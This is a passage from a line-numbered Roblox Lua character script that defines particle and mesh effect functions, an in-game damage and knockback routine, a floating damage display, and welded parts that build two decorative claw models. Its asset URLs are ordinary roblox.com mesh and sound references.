  2092. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2093. end
  2094. Part.Parent=nil
  2095. end),prt,msh,wld)
  2096. end
  2097.  
  2098. function MagicBlock3(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2099. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2100. prt.Anchored=false
  2101. prt.CFrame=cframe
  2102. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2103. local wld=weld(prt,prt,Parent,euler(0,0,0)*cf(0,0,0))
  2104. game:GetService("Debris"):AddItem(prt,5)
  2105. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2106. for i=0,1,delay do
  2107. wait()
  2108. Weld.C0=euler(i*20,0,0)
  2109. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2110. Part.Transparency=i
  2111. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2112. end
  2113. Part.Parent=nil
  2114. end),prt,msh,wld)
  2115. end
  2116.  
  2117. function MagicCircle2(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2118. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2119. prt.Anchored=true
  2120. prt.CFrame=cframe
  2121. local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2122. game:GetService("Debris"):AddItem(prt,2)
  2123. coroutine.resume(coroutine.create(function(Part,Mesh)
  2124. for i=0,1,delay do
  2125. wait()
  2126. Part.CFrame=Part.CFrame
  2127. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2128. local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2129. prt2.Anchored=true
  2130. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2131. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
  2132. game:GetService("Debris"):AddItem(prt2,2)
  2133. coroutine.resume(coroutine.create(function(Part,Mesh)
  2134. for i=0,1,0.1 do
  2135. wait()
  2136. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2137. end
  2138. Part.Parent=nil
  2139. end),prt2,msh2)
  2140. end
  2141. for i=0,1,delay*2 do
  2142. wait()
  2143. Part.CFrame=Part.CFrame
  2144. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2145. end
  2146. Part.Parent=nil
  2147. end),prt,msh)
  2148. end
  2149.  
  2150. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2151. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2152. prt.Anchored=true
  2153. prt.CFrame=cframe
  2154. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2155. game:GetService("Debris"):AddItem(prt,2)
  2156. coroutine.resume(coroutine.create(function(Part,Mesh)
  2157. for i=0,1,delay do
  2158. wait()
  2159. Part.CFrame=Part.CFrame
  2160. Part.Transparency=i
  2161. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2162. end
  2163. Part.Parent=nil
  2164. end),prt,msh)
  2165. end
  2166.  
  2167. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2168. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2169. prt.Anchored=true
  2170. prt.CFrame=cframe*euler(x2,y2,z2)
  2171. --"http://www.roblox.com/asset/?id=168892465"
  2172. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2173. game:GetService("Debris"):AddItem(prt,2)
  2174. coroutine.resume(coroutine.create(function(Part,Mesh)
  2175. for i=0,1,0.03 do
  2176. wait()
  2177. Part.CFrame=Part.CFrame
  2178. Part.Transparency=i
  2179. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2180. end
  2181. Part.Parent=nil
  2182. end),prt,msh)
  2183. end
  2184.  
  2185. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2186. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2187. prt.Anchored=true
  2188. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2189. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2190. game:GetService("Debris"):AddItem(prt,2)
  2191. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2192. CF=Part.CFrame
  2193. Numbb=0
  2194. randnumb=math.random()/10
  2195. rand1=math.random()/10
  2196. for i=0,1,rand1 do
  2197. wait()
  2198. CF=CF*cf(0,math.random()/2,0)
  2199. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2200. Part.CFrame=CF*euler(Numbb,0,0)
  2201. Part.Transparency=i
  2202. Numbb=Numbb+randnumb
  2203. end
  2204. Part.Parent=nil
  2205. end),prt,CF,Numbb,randnumb)
  2206. end
  2207.  
  2208. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2209. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2210. prt.Anchored=true
  2211. prt.CFrame=cframe
  2212. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2213. game:GetService("Debris"):AddItem(prt,5)
  2214. coroutine.resume(coroutine.create(function(Part,Mesh)
  2215. for i=0,1,delay do
  2216. wait()
  2217. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2218. Part.Transparency=i
  2219. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2220. end
  2221. Part.Parent=nil
  2222. end),prt,msh)
  2223. end
  2224.  
  2225. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2226. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2227. prt.Anchored=true
  2228. prt.CFrame=cframe
  2229. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
  2230. game:GetService("Debris"):AddItem(prt,2)
  2231. coroutine.resume(coroutine.create(function(Part,Mesh)
  2232. for i=0,1,delay do
  2233. wait()
  2234. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2235. Part.Transparency=i
  2236. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2237. end
  2238. Part.Parent=nil
  2239. end),prt,msh)
  2240. end
  2241.  
  2242. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2243. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2244. prt.Anchored=true
  2245. prt.CFrame=cframe*cf(x,y,z)
  2246. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2247. game:GetService("Debris"):AddItem(prt,5)
  2248. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2249. local num=math.random()
  2250. local num2=math.random(-3,2)+math.random()
  2251. local numm=0
  2252. for i=0,1,delay*2 do
  2253. swait()
  2254. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2255. Part.Transparency=i
  2256. numm=numm+0.01
  2257. end
  2258. Part.Parent=nil
  2259. Mesh.Parent=nil
  2260. end),prt,msh,x,y,z)
  2261. end
  2262.  
  2263. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2264.         if hit.Parent==nil then
  2265.                 return
  2266.         end
  2267.         h=hit.Parent:FindFirstChild("Humanoid")
  2268.         for _,v in pairs(hit.Parent:children()) do
  2269.         if v:IsA("Humanoid") then
  2270.         h=v
  2271.         end
  2272.         end
  2273.         if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2274.         h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2275.         end
  2276.         if hit.Parent.className=="Hat" then
  2277.         hit=hit.Parent.Parent:findFirstChild("Head")
  2278.         end
  2279.         if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2280.         if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2281.         --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2282.                         return
  2283.                 end]]
  2284. --                        hs(hit,1.2)
  2285.                         c=Instance.new("ObjectValue")
  2286.                         c.Name="creator"
  2287.                         c.Value=game:service("Players").LocalPlayer
  2288.                         c.Parent=h
  2289.                         game:GetService("Debris"):AddItem(c,.5)
  2290.                 Damage=math.random(minim,maxim)
  2291. --                h:TakeDamage(Damage)
  2292.                 blocked=false
  2293.                 block=hit.Parent:findFirstChild("Block")
  2294.                 if block~=nil then
  2295.                 print(block.className)
  2296.                 if block.className=="NumberValue" then
  2297.                 if block.Value>0 then
  2298.                 blocked=true
  2299.                 if decreaseblock==nil then
  2300.                 block.Value=block.Value-1
  2301.                 end
  2302.                 end
  2303.                 end
  2304.                 if block.className=="IntValue" then
  2305.                 if block.Value>0 then
  2306.                 blocked=true
  2307.                 if decreaseblock~=nil then
  2308.                 block.Value=block.Value-1
  2309.                 end
  2310.                 end
  2311.                 end
  2312.                 end
  2313.                 if blocked==false then
  2314. --                h:TakeDamage(Damage)
  2315.                 h.Health=h.Health-Damage
  2316.                 showDamage(hit.Parent,Damage,.5,TorsoColor)
  2317.                 else
  2318.                 h.Health=h.Health-(Damage/2)
  2319.                 showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
  2320.                 end
  2321.                 if Type=="Knockdown" then
  2322.                 hum=hit.Parent.Humanoid
  2323. hum.PlatformStand=true
  2324. coroutine.resume(coroutine.create(function(HHumanoid)
  2325. swait(1)
  2326. HHumanoid.PlatformStand=false
  2327. end),hum)
  2328.                 local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2329. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2330. local bodvol=Instance.new("BodyVelocity")
  2331. bodvol.velocity=angle*knockback
  2332. bodvol.P=5000
  2333. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2334. bodvol.Parent=hit
  2335. rl=Instance.new("BodyAngularVelocity")
  2336. rl.P=3000
  2337. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2338. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2339. rl.Parent=hit
  2340. game:GetService("Debris"):AddItem(bodvol,.5)
  2341. game:GetService("Debris"):AddItem(rl,.5)
  2342.                 elseif Type=="Normal" then
  2343.                 vp=Instance.new("BodyVelocity")
  2344.                 vp.P=500
  2345.                 vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2346. --                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2347.                 if KnockbackType==1 then
  2348.                 vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2349.                 elseif KnockbackType==2 then
  2350.                 vp.velocity=Property.CFrame.lookVector*knockback
  2351.                 end
  2352.                 if knockback>0 then
  2353.                         vp.Parent=hit.Parent.Torso
  2354.                 end
  2355.                 game:GetService("Debris"):AddItem(vp,.5)
  2356.                 elseif Type=="Up" then
  2357.                 local bodyVelocity=Instance.new("BodyVelocity")
  2358.                 bodyVelocity.velocity=vt(0,10,0)
  2359.                 bodyVelocity.P=1000
  2360.                 bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2361.                 bodyVelocity.Parent=hit
  2362.                 game:GetService("Debris"):AddItem(bodyVelocity,1)
  2363.                 rl=Instance.new("BodyAngularVelocity")
  2364.                 rl.P=3000
  2365.                 rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2366.                 rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2367.                 rl.Parent=hit
  2368.                 game:GetService("Debris"):AddItem(rl,.5)
  2369.                 elseif Type=="Snare" then
  2370.                 bp=Instance.new("BodyPosition")
  2371.                 bp.P=2000
  2372.                 bp.D=100
  2373.                 bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2374.                 bp.position=hit.Parent.Torso.Position
  2375.                 bp.Parent=hit.Parent.Torso
  2376.                 game:GetService("Debris"):AddItem(bp,1)
  2377.                 elseif Type=="Target" then
  2378.                 if Targetting==false then
  2379.                 ZTarget=hit.Parent.Torso
  2380.                 coroutine.resume(coroutine.create(function(Part)
  2381.                 so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2382.                 swait(5)
  2383.                 so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2384.                 end),ZTarget)
  2385.                 TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2386.                 targetgui=Instance.new("BillboardGui")
  2387.                 targetgui.Parent=ZTarget
  2388.                 targetgui.Size=UDim2.new(10,100,10,100)
  2389.                 targ=Instance.new("ImageLabel")
  2390.                 targ.Parent=targetgui
  2391.                 targ.BackgroundTransparency=1
  2392.                 targ.Image="rbxassetid://4834067"
  2393.                 targ.Size=UDim2.new(1,0,1,0)
  2394.                 cam.CameraType="Scriptable"
  2395.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2396.                 dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2397.                 workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2398.                 Targetting=true
  2399.                 RocketTarget=ZTarget
  2400.                 for i=1,Property do
  2401.                 --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2402.                 if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2403.                 swait()
  2404.                 end
  2405.                 --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2406.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2407.                 dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2408.                 cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2409.                 end
  2410.                 Targetting=false
  2411.                 RocketTarget=nil
  2412.                 targetgui.Parent=nil
  2413.                 cam.CameraType="Custom"
  2414.                 end
  2415.                 end
  2416.                         debounce=Instance.new("BoolValue")
  2417.                         debounce.Name="DebounceHit"
  2418.                         debounce.Parent=hit.Parent
  2419.                         debounce.Value=true
  2420.                         game:GetService("Debris"):AddItem(debounce,Delay)
  2421.                         c=Instance.new("ObjectValue")
  2422.                         c.Name="creator"
  2423.                         c.Value=Player
  2424.                         c.Parent=h
  2425.                         game:GetService("Debris"):AddItem(c,.5)
  2426.                 CRIT=false
  2427.                 hitDeb=true
  2428.                 AttackPos=6
  2429.         end
  2430. end
  2431.  
  2432. showDamage=function(Char,Dealt,du,Color)
  2433.         m=Instance.new("Model")
  2434.         m.Name=tostring(Dealt)
  2435.         h=Instance.new("Humanoid")
  2436.         h.Health=0
  2437.         h.MaxHealth=0
  2438.         h.Parent=m
  2439.         c=Instance.new("Part")
  2440.         c.Transparency=0
  2441.         c.BrickColor=TorsoColor
  2442.         c.Name="Head"
  2443.         c.TopSurface=0
  2444.         c.BottomSurface=0
  2445.         c.formFactor="Plate"
  2446.         c.Size=Vector3.new(1,.4,1)
  2447.         ms=Instance.new("CylinderMesh")
  2448.         ms.Scale=Vector3.new(.8,.8,.8)
  2449.         so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2450.         if CRIT==true then
  2451.                 ms.Scale=Vector3.new(1,1.25,1)
  2452.         end
  2453.         ms.Parent=c
  2454.         c.Reflectance=0
  2455.         Instance.new("BodyGyro").Parent=c
  2456.         c.Parent=m
  2457.         if Char:findFirstChild("Head")~=nil then
  2458.         c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2459.         elseif Char.Parent:findFirstChild("Head")~=nil then
  2460.         c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2461.         end
  2462.         f=Instance.new("BodyPosition")
  2463.         f.P=2000
  2464.         f.D=100
  2465.         f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2466.         f.position=c.Position+Vector3.new(0,3,0)
  2467.         f.Parent=c
  2468.         game:GetService("Debris"):AddItem(m,.5+du)
  2469.         c.CanCollide=false
  2470.         m.Parent=workspace
  2471.         c.CanCollide=false
  2472. end
  2473.  
  2474.     Player=game:GetService('Players').LocalPlayer
  2475.     Character=Player.Character
  2476.     Mouse=Player:GetMouse()
  2477.     m=Instance.new('Model',Character)
  2478.  
  2479.  
  2480.     local function weldBetween(a, b)
  2481.         local weldd = Instance.new("ManualWeld")
  2482.         weldd.Part0 = a
  2483.         weldd.Part1 = b
  2484.         weldd.C0 = CFrame.new()
  2485.         weldd.C1 = b.CFrame:inverse() * a.CFrame
  2486.         weldd.Parent = a
  2487.         return weldd
  2488.     end
  2489.    
  2490.     it=Instance.new
  2491.    
  2492.     function nooutline(part)
  2493.         part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2494.     end
  2495.    
  2496.     function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2497.         local fp=it("Part")
  2498.         fp.formFactor=formfactor
  2499.         fp.Parent=parent
  2500.         fp.Reflectance=reflectance
  2501.         fp.Transparency=transparency
  2502.         fp.CanCollide=false
  2503.         fp.Locked=true
  2504.         fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2505.         fp.Name=name
  2506.         fp.Size=size
  2507.         fp.Position=Character.Torso.Position
  2508.         nooutline(fp)
  2509.         fp.Material=material
  2510.         fp:BreakJoints()
  2511.         return fp
  2512.     end
  2513.    
  2514.     function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2515.         local mesh=it(Mesh)
  2516.         mesh.Parent=part
  2517.         if Mesh=="SpecialMesh" then
  2518.             mesh.MeshType=meshtype
  2519.             mesh.MeshId=meshid
  2520.         end
  2521.         mesh.Offset=offset
  2522.         mesh.Scale=scale
  2523.         return mesh
  2524.     end
  2525.    
  2526.     function weld(parent,part0,part1,c0,c1)
  2527.         local weld=it("Weld")
  2528.         weld.Parent=parent
  2529.         weld.Part0=part0
  2530.         weld.Part1=part1
  2531.         weld.C0=c0
  2532.         weld.C1=c1
  2533.         return weld
  2534.     end
  2535.  
  2536. local modelzorz=Instance.new("Model")
  2537. modelzorz.Parent=Character
  2538. modelzorz.Name="Claw1"
  2539.  
  2540. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2541. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2542. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2543. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2544. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2545. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2546. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2547. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2548. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2549. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2550. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2551. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2552. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2553. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2554. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2555. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2556. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2557. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2558. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2559. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2560. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2561. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2562. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2563. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2564. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2565. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2566. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2567. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2568. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2569. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2570. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2571. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2572. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2573. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2574. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2575. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2576. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2577. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2578. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2579. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2580. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2581.  
  2582. local modelzorz2=Instance.new("Model")
  2583. modelzorz2.Parent=Character
  2584. modelzorz2.Name="Claw2"
  2585.  
  2586. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2587. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2588. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2589. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2590. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2591. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
